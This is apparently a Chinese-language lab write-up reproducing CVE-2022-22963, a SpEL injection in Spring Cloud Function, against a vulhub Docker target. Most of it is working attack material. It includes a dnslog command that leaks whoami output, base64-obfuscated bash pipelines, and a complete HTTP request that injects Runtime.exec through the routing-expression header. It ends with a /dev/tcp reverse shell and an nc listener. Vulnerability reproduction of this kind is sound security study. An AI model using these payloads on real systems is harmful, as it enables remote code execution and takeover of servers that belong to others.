Spring Cloud Function SpEL表达式命令注入
漏洞简述
Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。
影响范围
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
环境搭建
cd /vulhub/spring/CVE-2022-22963
docker-compose up -d
漏洞复现
打开网站http://192.168.3.151:8080
先用dnslog获取一个dns
mbehkf.dnslog.cn
构造命令
curl `whoami`.kirjsf.dnslog.cn
bash -c {echo,Y3VybCBgd2hvYW1pYC5raXJqc2YuZG5zbG9nLmNuCg==}|{base64,-d}|{bash,-i}
构造数据包
POST /functionRouter HTTP/1.1
Host:192.168.96.170:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,Y3VybCBgd2hvYW1pYC5raXJqc2YuZG5zbG9nLmNuCg==}|{base64,-d}|{bash,-i}")
Content-Type: text/plain
Content-Length: 6
test
发送过去
过来了
构造反弹shell
bash -i >& /dev/tcp/192.168.3.134/4444 0>&1
base64编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTM0LzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}
用nc监听端口
nc -lvvp 4444
然后把命令扔进去,发送数据包
过去了
成功反弹shell!
结束!!